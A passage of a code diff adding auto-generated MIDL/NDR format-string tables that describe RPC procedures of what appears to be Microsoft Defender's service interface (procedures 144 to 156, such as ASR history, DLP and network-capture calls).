/* X64 Stack size/offset = 40 */ +/* 7986 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 7988 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 7990 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 7992 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc144_ServerMpRpcGetAsrBlockedActions */ + +/* 7994 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 7996 */ NdrFcLong( 0x0 ), /* 0 */ +/* 8000 */ NdrFcShort( 0x90 ), /* 144 */ +/* 8002 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 8004 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 8006 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 8008 */ NdrFcShort( 0x54 ), /* 84 */ +/* 8010 */ NdrFcShort( 0x40 ), /* 64 */ +/* 8012 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x7, /* 7 */ +/* 8014 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 8016 */ NdrFcShort( 0x1 ), /* 1 */ +/* 8018 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8020 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8022 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 8024 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */ +/* 8026 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 8028 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_2 */ + +/* 8030 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 8032 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 8034 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 8036 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 8038 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 8040 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 8042 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 8044 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 8046 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_5 */ + +/* 8048 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 8050 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 8052 */ NdrFcShort( 0xb02 ), /* Type Offset=2818 */ + + /* Parameter arg_6 */ + +/* 8054 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 8056 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 8058 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 8060 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 8062 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 8064 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc145_ServerMpRpcDeleteAsrHistory */ + +/* 8066 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 8068 */ NdrFcLong( 0x0 ), /* 0 */ +/* 8072 */ NdrFcShort( 0x91 ), /* 145 */ +/* 8074 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 8076 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 8078 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 8080 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8082 */ NdrFcShort( 0x24 ), /* 36 */ +/* 8084 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x2, /* 2 */ +/* 8086 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 8088 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8090 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8092 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8094 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 8096 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 8098 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 8100 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 8102 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 8104 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 8106 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc146_ServerMpGetTaskSchedulerStrings */ + +/* 8108 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 8110 */ NdrFcLong( 0x0 ), /* 0 */ +/* 8114 */ NdrFcShort( 0x92 ), /* 146 */ +/* 8116 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 8118 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 8120 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 8122 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8124 */ NdrFcShort( 0x24 ), /* 36 */ +/* 8126 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x3, /* 3 */ +/* 8128 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 8130 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8132 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8134 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8136 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 8138 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 8140 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 8142 */ NdrFcShort( 0xb44 ), /* Type Offset=2884 */ + + /* Parameter arg_2 */ + +/* 8144 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 8146 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 8148 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 8150 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 8152 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 8154 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc147_ServerMpRpcGetAsrBlockedActionInfos */ + +/* 8156 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 8158 */ NdrFcLong( 0x0 ), /* 0 */ +/* 8162 */ NdrFcShort( 0x93 ), /* 147 */ +/* 8164 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 8166 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 8168 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 8170 */ NdrFcShort( 0x54 ), /* 84 */ +/* 8172 */ NdrFcShort( 0x40 ), /* 64 */ +/* 8174 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x7, /* 7 */ +/* 8176 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 8178 */ NdrFcShort( 0x1 ), /* 1 */ +/* 8180 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8182 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8184 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 8186 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */ +/* 8188 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 8190 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_2 */ + +/* 8192 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 8194 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 8196 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 8198 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 8200 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 8202 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 8204 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 8206 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 8208 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_5 */ + +/* 8210 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 8212 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 8214 */ NdrFcShort( 0xb5a ), /* Type Offset=2906 */ + + /* Parameter arg_6 */ + +/* 8216 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 8218 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 8220 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 8222 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 8224 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 8226 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc148_ServerMpRpcGetTPStateInfo */ + +/* 8228 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 8230 */ NdrFcLong( 0x0 ), /* 0 */ +/* 8234 */ NdrFcShort( 0x94 ), /* 148 */ +/* 8236 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 8238 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 8240 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 8242 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8244 */ NdrFcShort( 0x54 ), /* 84 */ +/* 8246 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 8248 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 8250 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8252 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8254 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8256 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 8258 */ NdrFcShort( 0x4112 ), /* Flags: must free, out, simple ref, srv alloc size=16 */ +/* 8260 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 8262 */ NdrFcShort( 0xb92 ), /* Type Offset=2962 */ + + /* Parameter arg_2 */ + +/* 8264 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 8266 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 8268 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 8270 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 8272 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 8274 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc149_ServerMpRpcSetTPState */ + +/* 8276 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 8278 */ NdrFcLong( 0x0 ), /* 0 */ +/* 8282 */ NdrFcShort( 0x95 ), /* 149 */ +/* 8284 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 8286 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 8288 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 8290 */ NdrFcShort( 0x8 ), /* 8 */ +/* 8292 */ NdrFcShort( 0x24 ), /* 36 */ +/* 8294 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 8296 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 8298 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8300 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8302 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8304 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 8306 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 8308 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 8310 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 8312 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 8314 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 8316 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 8318 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 8320 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 8322 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc150_ServerMpRpcUpdateDevMode */ + +/* 8324 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 8326 */ NdrFcLong( 0x0 ), /* 0 */ +/* 8330 */ NdrFcShort( 0x96 ), /* 150 */ +/* 8332 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 8334 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 8336 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 8338 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8340 */ NdrFcShort( 0x40 ), /* 64 */ +/* 8342 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 8344 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 8346 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8348 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8350 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8352 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 8354 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 8356 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 8358 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 8360 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 8362 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 8364 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 8366 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 8368 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 8370 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc151_ServerMpRpcGetDevMode */ + +/* 8372 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 8374 */ NdrFcLong( 0x0 ), /* 0 */ +/* 8378 */ NdrFcShort( 0x97 ), /* 151 */ +/* 8380 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 8382 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 8384 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 8386 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8388 */ NdrFcShort( 0x40 ), /* 64 */ +/* 8390 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 8392 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 8394 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8396 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8398 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8400 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 8402 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 8404 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 8406 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 8408 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 8410 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 8412 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 8414 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 8416 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 8418 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc152_ServerMpUpdateBreakTheGlassStatus */ + +/* 8420 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 8422 */ NdrFcLong( 0x0 ), /* 0 */ +/* 8426 */ NdrFcShort( 0x98 ), /* 152 */ +/* 8428 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 8430 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 8432 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 8434 */ NdrFcShort( 0x8 ), /* 8 */ +/* 8436 */ NdrFcShort( 0x24 ), /* 36 */ +/* 8438 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x5, /* 5 */ +/* 8440 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 8442 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8444 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8446 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8448 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 8450 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 8452 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 8454 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 8456 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 8458 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 8460 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_3 */ + +/* 8462 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 8464 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 8466 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_4 */ + +/* 8468 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 8470 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 8472 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 8474 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 8476 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 8478 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc153_ServerMpNetworkCapture */ + +/* 8480 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 8482 */ NdrFcLong( 0x0 ), /* 0 */ +/* 8486 */ NdrFcShort( 0x99 ), /* 153 */ +/* 8488 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 8490 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 8492 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 8494 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8496 */ NdrFcShort( 0x24 ), /* 36 */ +/* 8498 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x3, /* 3 */ +/* 8500 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 8502 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8504 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8506 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8508 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 8510 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 8512 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 8514 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_2 */ + +/* 8516 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 8518 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 8520 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 8522 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 8524 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 8526 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc154_ServerMpConveyDlpBypass */ + +/* 8528 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 8530 */ NdrFcLong( 0x0 ), /* 0 */ +/* 8534 */ NdrFcShort( 0x9a ), /* 154 */ +/* 8536 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 8538 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 8540 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 8542 */ NdrFcShort( 0x8 ), /* 8 */ +/* 8544 */ NdrFcShort( 0x24 ), /* 36 */ +/* 8546 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x6, /* 6 */ +/* 8548 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 8550 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8552 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8554 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8556 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 8558 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 8560 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 8562 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 8564 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 8566 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 8568 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_3 */ + +/* 8570 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 8572 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 8574 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_4 */ + +/* 8576 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 8578 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 8580 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_5 */ + +/* 8582 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 8584 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 8586 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 8588 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 8590 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 8592 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc155_ServerDlpMpCheckAccessForPrintOperation */ + +/* 8594 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 8596 */ NdrFcLong( 0x0 ), /* 0 */ +/* 8600 */ NdrFcShort( 0x9b ), /* 155 */ +/* 8602 */ NdrFcShort( 0x50 ), /* X64 Stack size/offset = 80 */ +/* 8604 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 8606 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 8608 */ NdrFcShort( 0x20 ), /* 32 */ +/* 8610 */ NdrFcShort( 0x40 ), /* 64 */ +/* 8612 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x9, /* 9 */ +/* 8614 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 8616 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8618 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8620 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8622 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 8624 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 8626 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 8628 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 8630 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 8632 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 8634 */ 0xb, /* FC_HYPER */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 8636 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 8638 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 8640 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_4 */ + +/* 8642 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 8644 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 8646 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_5 */ + +/* 8648 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 8650 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 8652 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_6 */ + +/* 8654 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 8656 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 8658 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_7 */ + +/* 8660 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 8662 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 8664 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_8 */ + +/* 8666 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 8668 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 8670 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 8672 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 8674 */ NdrFcShort( 0x48 ), /* X64 Stack size/offset = 72 */ +/* 8676 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc156_ServerDlpMpConveyNewPrinterConnection */ + +/* 8678 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 8680 */ NdrFcLong( 0x0 ), /* 0 */ +/* 8684 */ NdrFcShort( 0x9c ), /* 156 */ +/* 8686 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 8688 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 8690 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 8692 */ NdrFcShort( 0x8 ), /* 8 */ +/* 8694 */ NdrFcShort( 0x24 ), /* 36 */ +/* 8696 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x6, /* 6 */ +/* 8698 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 8700 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8702 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8704 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8706 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 8708 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 8710 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 8712 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_2 */ + +/* 8714 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 8716 */ 